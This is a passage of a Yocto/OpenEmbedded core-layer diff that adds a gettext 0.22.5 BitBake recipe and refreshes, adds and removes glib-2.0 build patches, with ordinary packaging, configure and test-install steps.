-RRECOMMENDS_${PN}-ptest_append_libc-glibc = "\
- locale-base-de-de.iso-8859-1 \
- locale-base-fr-fr.iso-8859-1 \
-"
-
-INSANE_SKIP_${PN}-ptest += "ldflags"
-INSANE_SKIP_${PN}-ptest += "rpaths"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/gettext/gettext_0.22.5.bb b/meta/recipes-core/gettext/gettext_0.22.5.bb
new file mode 100644
index 0000000000..1a66d37916
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext_0.22.5.bb
@@ -0,0 +1,213 @@
+SUMMARY = "Utilities and libraries for producing multi-lingual messages"
+DESCRIPTION = "GNU gettext is a set of tools that provides a framework to help other programs produce multi-lingual messages. \
+These tools include a set of conventions about how programs should be written to support message catalogs, a directory and file \
+naming organization for the message catalogs themselves, a runtime library supporting the retrieval of translated messages, and \
+a few stand-alone programs to massage in various ways the sets of translatable and already translated strings."
+SECTION = "libs"
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
+
+# without libxml in PACKAGECONFIG vendor copy of the lib will be used
+LICENSE:append = " ${@bb.utils.contains('PACKAGECONFIG', 'libxml', '', '& MIT', d)}"
+LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'libxml', '', 'file://libtextstyle/lib/libxml/COPYING;md5=2044417e2e5006b65a8b9067b683fcf1', d)}"
+# without glib in PACKAGECONFIG vendor copy of the lib will be used
+LIC_FILES_CHKSUM:append = " ${@bb.utils.contains('PACKAGECONFIG', 'glib', '', 'file://libtextstyle/lib/glib/ghash.c;md5=e3159f5ac38dfe77af5cc0ee104dab2d;beginline=10;endline=27', d)}"
+
+
+DEPENDS = "gettext-native virtual/libiconv"
+DEPENDS:class-native = "gettext-minimal-native"
+PROVIDES = "virtual/libintl virtual/gettext"
+PROVIDES:class-native = "virtual/gettext-native"
+RCONFLICTS:${PN} = "proxy-libintl"
+
+require gettext-sources.inc
+SRC_URI += " \
+ file://parallel.patch \
+ file://use-pkgconfig.patch \
+ file://run-ptest \
+ file://serial-tests-config.patch \
+ file://0001-tests-autopoint-3-unset-MAKEFLAGS.patch \
+ file://0001-init-env.in-do-not-add-C-CXX-parameters.patch \
+ "
+
+inherit autotools texinfo pkgconfig ptest
+
+EXTRA_OECONF += "--without-lispdir \
+ --disable-csharp \
+ --disable-libasprintf \
+ --disable-java \
+ --disable-native-java \
+ --disable-openmp \
+ --disable-acl \
+ --without-emacs \
+ --without-cvs \
+ --without-git \
+ --without-included-libcroco \
+ --cache-file=${B}/config.cache \
+ "
+EXTRA_OECONF:append:class-target = " \
+ --with-bisonlocaledir=${datadir}/locale \
+ gt_cv_locale_fr_utf8=fr_FR \
+ gt_cv_locale_fr=fr_FR.ISO-8859-1 \
+ gt_cv_locale_de_utf8=de_DE \
+ gt_cv_locale_de=de_DE.ISO-8859-1 \
+"
+
+PACKAGECONFIG ??= "glib libxml"
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[glib] = "--without-included-glib,--with-included-glib,glib-2.0"
+PACKAGECONFIG[libxml] = "--without-included-libxml,--with-included-libxml,libxml2"
+# Need paths here to avoid host contamination but this can cause RPATH warnings
+# or problems if $libdir isn't $prefix/lib.
+PACKAGECONFIG[libunistring] = "--with-libunistring-prefix=${STAGING_LIBDIR}/..,--with-included-libunistring,libunistring"
+PACKAGECONFIG[msgcat-curses] = "--with-libncurses-prefix=${STAGING_LIBDIR}/..,--disable-curses,ncurses,"
+
+acpaths = '-I ${S}/gettext-runtime/m4 \
+ -I ${S}/gettext-tools/m4'
+
+do_install:append:libc-musl () {
+ rm -f ${D}${libdir}/charset.alias
+ rm -f ${D}${includedir}/libintl.h
+ rm -f ${D}${libdir}/libintl.la
+}
+
+# these lack the .x behind the .so, but shouldn't be in the -dev package
+# Otherwise you get the following results:
+# 7.4M glibc/images/ep93xx/Angstrom-console-image-glibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
+# 25M uclibc/images/ep93xx/Angstrom-console-image-uclibc-ipk-2008.1-test-20080104-ep93xx.rootfs.tar.gz
+# because gettext depends on gettext-dev, which pulls in more -dev packages:
+# 15228 KiB /ep93xx/libstdc++-dev_4.2.2-r2_ep93xx.ipk
+# 1300 KiB /ep93xx/uclibc-dev_0.9.29-r8_ep93xx.ipk
+# 140 KiB /armv4t/gettext-dev_0.14.1-r6_armv4t.ipk
+# 4 KiB /ep93xx/libgcc-s-dev_4.2.2-r2_ep93xx.ipk
+
+PACKAGES =+ "libgettextlib libgettextsrc"
+FILES:libgettextlib = "${libdir}/libgettextlib-*.so*"
+FILES:libgettextsrc = "${libdir}/libgettextsrc-*.so*"
+
+PACKAGES =+ "gettext-runtime gettext-runtime-dev gettext-runtime-doc"
+
+FILES:${PN} += "${libdir}/${BPN}/*"
+
+# The its/Makefile.am has defined:
+# itsdir = $(pkgdatadir)$(PACKAGE_SUFFIX)/its
+# not itsdir = $(pkgdatadir), so use wildcard to match the version.
+FILES:${PN} += "${datadir}/${BPN}-*/*"
+
+FILES:gettext-runtime = "${bindir}/gettext \
+ ${bindir}/ngettext \
+ ${bindir}/envsubst \
+ ${bindir}/gettext.sh \
+ ${libdir}/libasprintf.so* \
+ ${libdir}/GNU.Gettext.dll \
+ "
+FILES:gettext-runtime-dev += "${libdir}/libasprintf.a \
+ ${includedir}/autosprintf.h \
+ "
+FILES:gettext-runtime-doc = "${mandir}/man1/gettext.* \
+ ${mandir}/man1/ngettext.* \
+ ${mandir}/man1/envsubst.* \
+ ${mandir}/man1/.* \
+ ${mandir}/man3/* \
+ ${docdir}/gettext/gettext.* \
+ ${docdir}/gettext/ngettext.* \
+ ${docdir}/gettext/envsubst.* \
+ ${docdir}/gettext/*.3.html \
+ ${datadir}/gettext/ABOUT-NLS \
+ ${docdir}/gettext/csharpdoc/* \
+ ${docdir}/libasprintf/autosprintf.html \
+ ${infodir}/autosprintf.info \
+ "
+
+do_install:append() {
+ rm -f ${D}${libdir}/preloadable_libintl.so
+}
+
+do_install:append:class-native () {
+ rm ${D}${datadir}/aclocal/*
+ rm ${D}${datadir}/gettext/config.rpath
+ rm ${D}${datadir}/gettext/po/Makefile.in.in
+ rm ${D}${datadir}/gettext/po/remove-potcdate.sin
+
+ create_wrapper ${D}${bindir}/msgfmt \
+ GETTEXTDATADIR="${STAGING_DATADIR_NATIVE}/gettext-${PV}/"
+
+}
+
+do_compile_ptest() {
+ cd ${B}/gettext-tools/tests/
+ sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_PROGRAMS)' Makefile
+ oe_runmake buildtest-TESTS
+ cd -
+}
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ mkdir -p ${D}${PTEST_PATH}/tests
+ mkdir -p ${D}${PTEST_PATH}/src
+ mkdir -p ${D}${PTEST_PATH}/po
+ mkdir -p ${D}${PTEST_PATH}/misc
+ mkdir -p ${D}${PTEST_PATH}/its
+ mkdir -p ${D}${PTEST_PATH}/styles
+ mkdir -p ${D}${PTEST_PATH}/gnulib-lib
+ mkdir -p ${D}${PTEST_PATH}/examples
+ cp -rf ${S}/gettext-tools/its/* ${D}${PTEST_PATH}/its
+ cp -rf ${S}/gettext-tools/styles/* ${D}${PTEST_PATH}/styles
+ cp -rf ${S}/gettext-tools/gnulib-lib/gettext.h ${D}${PTEST_PATH}/gnulib-lib
+ cp -rf ${S}/gettext-tools/examples/hello-c ${D}${PTEST_PATH}/examples
+ cp -rf ${S}/gettext-tools/tests/* ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-tools/tests/.libs/* ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-runtime/intl/.libs/libgnuintl.so.8* ${D}${libdir}/
+ cp -rf ${B}/gettext-tools/tests/Makefile ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-tools/tests/init-env ${D}${PTEST_PATH}/tests
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e 's:lang-c lang-c++:lang-c++:g' ${D}${PTEST_PATH}/tests/Makefile
+ install ${S}/gettext-tools/src/msgunfmt.tcl ${D}${PTEST_PATH}/src
+ install ${S}/gettext-tools/src/project-id ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/gettext.sh ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/ngettext ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/envsubst ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/gettext ${D}${PTEST_PATH}/src
+ install ${B}/gettext-tools/src/.libs/cldr-plurals ${D}${PTEST_PATH}/src
+ install ${S}/gettext-tools/po/gettext-tools.pot ${D}${PTEST_PATH}/po
+ install ${B}/gettext-tools/misc/* ${D}${PTEST_PATH}/misc
+ find ${D}${PTEST_PATH}/ -name "*.o" -exec rm {} \;
+ chmod 0755 ${D}${PTEST_PATH}/tests/lang-vala ${D}${PTEST_PATH}/tests/plural-1 ${D}${PTEST_PATH}/tests/xgettext-tcl-4 \
+ ${D}${PTEST_PATH}/tests/xgettext-vala-1 ${D}${PTEST_PATH}/tests/xgettext-po-2 ${D}${PTEST_PATH}/tests/xgettext-vala-6
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' ${D}${PTEST_PATH}/tests/init-env
+ fi
+}
+
+RDEPENDS:${PN}-ptest += "make xz bash gawk autoconf locale-base-de-de locale-base-fr-fr"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-gconv-big5 \
+ glibc-charmap-big5 \
+ glibc-gconv-cp1251 \
+ glibc-charmap-cp1251 \
+ glibc-charmap-iso-8859-9 \
+ glibc-gconv-iso8859-9 \
+ glibc-charmap-koi8-r \
+ glibc-gconv-koi8-r \
+ glibc-gconv-iso8859-2 \
+ glibc-charmap-iso-8859-2 \
+ glibc-gconv-iso8859-1 \
+ glibc-charmap-iso-8859-1 \
+ glibc-gconv-euc-kr \
+ glibc-charmap-euc-kr \
+ glibc-gconv-euc-jp \
+ glibc-charmap-euc-jp \
+ glibc-gconv-gb18030 \
+ glibc-charmap-gb18030 \
+"
+
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-de-de.iso-8859-1 \
+ locale-base-fr-fr.iso-8859-1 \
+"
+
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch
deleted file mode 100644
index f3a0069633..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 658c034d92027dc8af5f784cae852123fac79b19 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 16 Apr 2016 13:28:59 -0700
-Subject: [PATCH] Do not ignore return value of write()
-
-gcc warns about ignoring return value when compiling
-with fortify turned on.
-
-assert when write() fails
-
-Upstream-Status: Submitted
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- glib/tests/unix.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/glib/tests/unix.c b/glib/tests/unix.c
-index 7639d06..f941141 100644
---- a/glib/tests/unix.c
-+++ b/glib/tests/unix.c
-@@ -33,14 +33,15 @@ test_pipe (void)
- GError *error = NULL;
- int pipefd[2];
- char buf[1024];
-- gssize bytes_read;
-+ gssize bytes_read, bytes_written;
- gboolean res;
-
- res = g_unix_open_pipe (pipefd, FD_CLOEXEC, &error);
- g_assert (res);
- g_assert_no_error (error);
-
-- write (pipefd[1], "hello", sizeof ("hello"));
-+ bytes_written = write (pipefd[1], "hello", sizeof ("hello"));
-+ g_assert (bytes_written != -1 && "write() failed");
- memset (buf, 0, sizeof (buf));
- bytes_read = read (pipefd[0], buf, sizeof(buf) - 1);
- g_assert_cmpint (bytes_read, >, 0);
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
index 5fe3aa898e..8e6598fbef 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
@@ -1,4 +1,4 @@
-From 0797a40627a4cb5439a24b872edc65356dceaaf0 Mon Sep 17 00:00:00 2001
+From e7077aa23bfcd31a8e72e39dc93ce4f854678376 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 15 Feb 2019 11:17:27 +0100
Subject: [PATCH] Do not write $bindir into pkg-config files
@@ -9,53 +9,52 @@ rather than use target paths).
Upstream-Status: Inappropriate [upstream wants the paths in .pc files]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
gio/meson.build | 16 ++++++++--------
glib/meson.build | 6 +++---
2 files changed, 11 insertions(+), 11 deletions(-)
diff --git a/gio/meson.build b/gio/meson.build
-index 532b086..98468a3 100644
+index 5f91586..1a95f4f 100644
--- a/gio/meson.build
+++ b/gio/meson.build
-@@ -820,14 +820,14 @@ pkg.generate(libgio,
- 'schemasdir=' + join_paths('${datadir}', schemas_subdir),
- 'bindir=' + join_paths('${prefix}', get_option('bindir')),
- 'giomoduledir=' + pkgconfig_giomodulesdir,
-- 'gio=' + join_paths('${bindir}', 'gio'),
-- 'gio_querymodules=' + join_paths('${bindir}', 'gio-querymodules'),
-- 'glib_compile_schemas=' + join_paths('${bindir}', 'glib-compile-schemas'),
-- 'glib_compile_resources=' + join_paths('${bindir}', 'glib-compile-resources'),
-- 'gdbus=' + join_paths('${bindir}', 'gdbus'),
-- 'gdbus_codegen=' + join_paths('${bindir}', 'gdbus-codegen'),
-- 'gresource=' + join_paths('${bindir}', 'gresource'),
-- 'gsettings=' + join_paths('${bindir}', 'gsettings')],
-+ 'gio=gio',
-+ 'gio_querymodules=gio-querymodules',
-+ 'glib_compile_schemas=glib-compile-schemas',
-+ 'glib_compile_resources=glib-compile-resources',
-+ 'gdbus=gdbus',
-+ 'gdbus_codegen=gdbus-codegen',
-+ 'gresource=gresource',
-+ 'gsettings=gsettings'],
+@@ -884,14 +884,14 @@ pkg.generate(libgio,
+ 'dtdsdir=' + '${datadir}' / dtds_subdir,
+ 'bindir=' + '${prefix}' / get_option('bindir'),
+ 'giomoduledir=' + pkgconfig_giomodulesdir,
+- 'gio=' + '${bindir}' / 'gio',
+- 'gio_querymodules=' + pkgconfig_multiarch_bindir / 'gio-querymodules',
+- 'glib_compile_schemas=' + pkgconfig_multiarch_bindir / 'glib-compile-schemas',
+- 'glib_compile_resources=' + '${bindir}' / 'glib-compile-resources',
+- 'gdbus=' + '${bindir}' /'gdbus',
+- 'gdbus_codegen=' + '${bindir}' / 'gdbus-codegen',
+- 'gresource=' + '${bindir}' / 'gresource',
+- 'gsettings=' + '${bindir}' / 'gsettings',
++ 'gio=gio',
++ 'gio_querymodules=gio-querymodules',
++ 'glib_compile_schemas=glib-compile-schemas',
++ 'glib_compile_resources=glib-compile-resources',
++ 'gdbus=gdbus',
++ 'gdbus_codegen=gdbus-codegen',
++ 'gresource=gresource',
++ 'gsettings=gsettings',
+ ],
version : glib_version,
install_dir : glib_pkgconfigreldir,
- filebase : 'gio-2.0',
diff --git a/glib/meson.build b/glib/meson.build
-index aaf5f00..1e0992b 100644
+index c26a35e..1d8ca6b 100644
--- a/glib/meson.build
+++ b/glib/meson.build
-@@ -375,9 +375,9 @@ pkg.generate(libglib,
- subdirs : ['glib-2.0'],
- extra_cflags : ['-I${libdir}/glib-2.0/include'] + win32_cflags,
- variables : ['bindir=' + join_paths('${prefix}', get_option('bindir')),
-- 'glib_genmarshal=' + join_paths('${bindir}', 'glib-genmarshal'),
-- 'gobject_query=' + join_paths('${bindir}', 'gobject-query'),
-- 'glib_mkenums=' + join_paths('${bindir}', 'glib-mkenums')],
-+ 'glib_genmarshal=glib-genmarshal',
-+ 'gobject_query=gobject-query',
-+ 'glib_mkenums=glib-mkenums'],
- version : glib_version,
- install_dir : glib_pkgconfigreldir,
- filebase : 'glib-2.0',
+@@ -447,9 +447,9 @@ pkg.generate(libglib,
+ variables : [
+ 'bindir=' + '${prefix}' / get_option('bindir'),
+ 'datadir=' + '${prefix}' / get_option('datadir'),
+- 'glib_genmarshal=' + '${bindir}' / 'glib-genmarshal',
+- 'gobject_query=' + '${bindir}' / 'gobject-query',
+- 'glib_mkenums=' + '${bindir}' / 'glib-mkenums',
++ 'glib_genmarshal=glib-genmarshal',
++ 'gobject_query=gobject-query',
++ 'glib_mkenums=glib-mkenums',
+ 'glib_valgrind_suppressions=' + '${datadir}' /
+ valgrind_suppression_file_install_subdir /
+ fs.name(valgrind_suppression_file),
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
index 16f2d31496..eb9dfdbcf9 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
@@ -1,4 +1,4 @@
-From c94e669de98a3892c699bd8d0d2b5164b2de747e Mon Sep 17 00:00:00 2001
+From 9a5d4bf65b658d744d610ee27ecd2ae65b14b158 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 15 Mar 2014 22:42:29 -0700
Subject: [PATCH] Fix DATADIRNAME on uclibc/Linux
@@ -8,8 +8,6 @@ based systems therefore lets set DATADIRNAME to "share".
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
-
-
---
m4macros/glib-gettext.m4 | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
index 597864d9ac..ad69f7ec65 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
@@ -1,4 +1,4 @@
-From 0015db45cd1bfefc04959dffab5dabeead93136f Mon Sep 17 00:00:00 2001
+From 4933aef791857a5aac650b60af800778658b875b Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 22 Mar 2016 15:14:58 +0200
Subject: [PATCH] Install gio-querymodules as libexec_PROGRAM
@@ -8,16 +8,15 @@ renamer does not cope with library packages with files in ${bindir}
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
Upstream-Status: Inappropriate [OE specific]
-
---
gio/meson.build | 1 +
1 file changed, 1 insertion(+)
diff --git a/gio/meson.build b/gio/meson.build
-index 2ef60ed..532b086 100644
+index f9fdf6e..5f91586 100644
--- a/gio/meson.build
+++ b/gio/meson.build
-@@ -936,6 +936,7 @@ gio_querymodules = executable('gio-querymodules', 'gio-querymodules.c', 'giomodu
+@@ -1005,6 +1005,7 @@ gio_querymodules = executable('gio-querymodules', 'gio-querymodules.c', 'giomodu
c_args : gio_c_args,
# intl.lib is not compatible with SAFESEH
link_args : noseh_link_args,
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
index 6fd93526ce..0e3a62af6a 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
@@ -1,4 +1,4 @@
-From 4f47b8a8d650d185aa61aec2f56a283522a723c4 Mon Sep 17 00:00:00 2001
+From 8ae2e9c2a04e089306693a021149dc6b7d1bd679 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 12 Jun 2015 17:08:46 +0300
Subject: [PATCH] Remove the warning about deprecated paths in schemas
@@ -9,13 +9,12 @@ messages, and meta/lib/oe/rootfs.py complaints about them.
Upstream-Status: Inappropriate
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
gio/glib-compile-schemas.c | 13 -------------
1 file changed, 13 deletions(-)
diff --git a/gio/glib-compile-schemas.c b/gio/glib-compile-schemas.c
-index 7888120..7acbd5b 100644
+index 04ef404..e791ce2 100644
--- a/gio/glib-compile-schemas.c
+++ b/gio/glib-compile-schemas.c
@@ -1232,19 +1232,6 @@ parse_state_start_schema (ParseState *state,
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
index d075cd3f23..32b4cea409 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
@@ -1,32 +1,30 @@
-From d3334e83ae0da9ca184eb9c8daf0854544ece023 Mon Sep 17 00:00:00 2001
+From c0733f7a91dfe13152abc60c5a3064456b3e9d63 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 13 Feb 2019 15:32:05 +0100
Subject: [PATCH] Set host_machine correctly when building with mingw32
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
gio/tests/meson.build | 8 ++++----
glib/tests/meson.build | 2 +-
meson.build | 3 +++
- tests/meson.build | 2 +-
- 4 files changed, 9 insertions(+), 6 deletions(-)
+ 3 files changed, 8 insertions(+), 5 deletions(-)
diff --git a/gio/tests/meson.build b/gio/tests/meson.build
-index dab65d2..e8bb2ee 100644
+index 4ef3343..e498e7e 100644
--- a/gio/tests/meson.build
+++ b/gio/tests/meson.build
-@@ -12,7 +12,7 @@ test_c_args = [
- '-UG_DISABLE_ASSERT',
- ]
+@@ -29,7 +29,7 @@ endif
+
+ test_cpp_args = test_c_args
-if host_machine.system() == 'windows'
+if host_system == 'windows'
common_gio_tests_deps += [iphlpapi_dep, winsock2, cc.find_library ('secur32')]
endif
-@@ -132,7 +132,7 @@ else
+@@ -230,7 +230,7 @@ if have_dbus_daemon
endif
# Test programs buildable on UNIX only
@@ -34,8 +32,8 @@ index dab65d2..e8bb2ee 100644
+if host_system != 'windows'
gio_tests += {
'file' : {},
- 'gdbus-peer' : {
-@@ -384,7 +384,7 @@ if host_machine.system() != 'windows'
+ 'gdbus-peer-object-manager' : {},
+@@ -562,7 +562,7 @@ if host_machine.system() != 'windows'
endif # unix
# Test programs buildable on Windows only
@@ -44,7 +42,7 @@ index dab65d2..e8bb2ee 100644
gio_tests += {'win32-streams' : {}}
endif
-@@ -454,7 +454,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
+@@ -632,7 +632,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
}
endif
@@ -54,10 +52,10 @@ index dab65d2..e8bb2ee 100644
'gdbus-example-unix-fd-client' : {
'install' : false,
diff --git a/glib/tests/meson.build b/glib/tests/meson.build
-index 3dedafc..94605e6 100644
+index d80c86e..5329cda 100644
--- a/glib/tests/meson.build
+++ b/glib/tests/meson.build
-@@ -134,7 +134,7 @@ if glib_conf.has('HAVE_EVENTFD')
+@@ -216,7 +216,7 @@ if glib_conf.has('HAVE_EVENTFD')
}
endif
@@ -67,10 +65,10 @@ index 3dedafc..94605e6 100644
glib_tests += {
'gpoll' : {
diff --git a/meson.build b/meson.build
-index e1b4b79..afb6eaa 100644
+index 813c9b7..6ee775e 100644
--- a/meson.build
+++ b/meson.build
-@@ -32,6 +32,9 @@ else
+@@ -54,6 +54,9 @@ else
endif
host_system = host_machine.system()
@@ -78,18 +76,5 @@ index e1b4b79..afb6eaa 100644
+ host_system = 'windows'
+endif
- glib_version = meson.project_version()
- glib_api_version = '2.0'
-diff --git a/tests/meson.build b/tests/meson.build
-index 6741f8f..12fdc90 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -73,7 +73,7 @@ test_extra_programs = {
- 'unicode-collate' : {},
- }
-
--if host_machine.system() != 'windows'
-+if host_system != 'windows'
- tests += {
- 'timeloop' : {},
- 'iochannel-test' : {},
+ if host_system == 'darwin'
+ ios_test_code = '''#include <TargetConditionals.h>
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Switch-from-the-deprecated-distutils-module-to-the-p.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Switch-from-the-deprecated-distutils-module-to-the-p.patch
new file mode 100644
index 0000000000..b11c283e6d
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Switch-from-the-deprecated-distutils-module-to-the-p.patch
@@ -0,0 +1,34 @@
+From a8eb944a10353403241608a084787f6efcbb2eb7 Mon Sep 17 00:00:00 2001
+From: Jordan Williams <jordan@jwillikers.com>
+Date: Fri, 1 Dec 2023 09:53:50 -0600
+Subject: [PATCH] Switch from the deprecated distutils module to the packaging
+ module
+
+The distutils module was removed in Python 3.12.
+
+Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/glib/-/commit/6ef967a0f930ce37a8c9b5aff969693b34714291]
+
+Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
+---
+ gio/gdbus-2.0/codegen/utils.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/gio/gdbus-2.0/codegen/utils.py b/gio/gdbus-2.0/codegen/utils.py
+index 0204610..08f1ba9 100644
+--- a/gio/gdbus-2.0/codegen/utils.py
++++ b/gio/gdbus-2.0/codegen/utils.py
+@@ -19,7 +19,7 @@
+ #
+ # Author: David Zeuthen <davidz@redhat.com>
+
+-import distutils.version
++import packaging.version
+ import os
+ import sys
+
+@@ -166,4 +166,4 @@ def version_cmp_key(key):
+ v = str(key[0])
+ else:
+ v = "0"
+- return (distutils.version.LooseVersion(v), key[1])
++ return (packaging.version.Version(v), key[1])
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch
index d33fdd4d8b..aee2986033 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch
@@ -1,4 +1,4 @@
-From 92de6c7eb30b961b24a2dce812d5276487b7d23d Mon Sep 17 00:00:00 2001
+From 878e51f82100c698236fda0e069e14ea9249350c Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 8 Jan 2020 18:22:46 +0100
Subject: [PATCH] gio/tests/resources.c: comment out a build host-only test
@@ -8,16 +8,15 @@ not cross-compatible (hardcodes ld and objcopy).
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
gio/tests/resources.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/gio/tests/resources.c b/gio/tests/resources.c
-index c44d214..e289a01 100644
+index f567914..b21b616 100644
--- a/gio/tests/resources.c
+++ b/gio/tests/resources.c
-@@ -993,7 +993,7 @@ main (int argc,
+@@ -1068,7 +1068,7 @@ main (int argc,
g_test_add_func ("/resource/automatic", test_resource_automatic);
/* This only uses automatic resources too, so it tests the constructors and destructors */
g_test_add_func ("/resource/module", test_resource_module);
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
index 44482dd2b7..0b10269114 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
@@ -1,4 +1,4 @@
-From 4b97f457b7b44117e27d2a218c4b68e7fe3fe4ce Mon Sep 17 00:00:00 2001
+From b4b523160ef550a53705fcc45ac6e10d086ce491 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 12 Oct 2019 17:46:26 -0700
Subject: [PATCH] meson: Run atomics test on clang as well
@@ -9,16 +9,15 @@ Fixes
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meson.build b/meson.build
-index afb6eaa..6aa70f5 100644
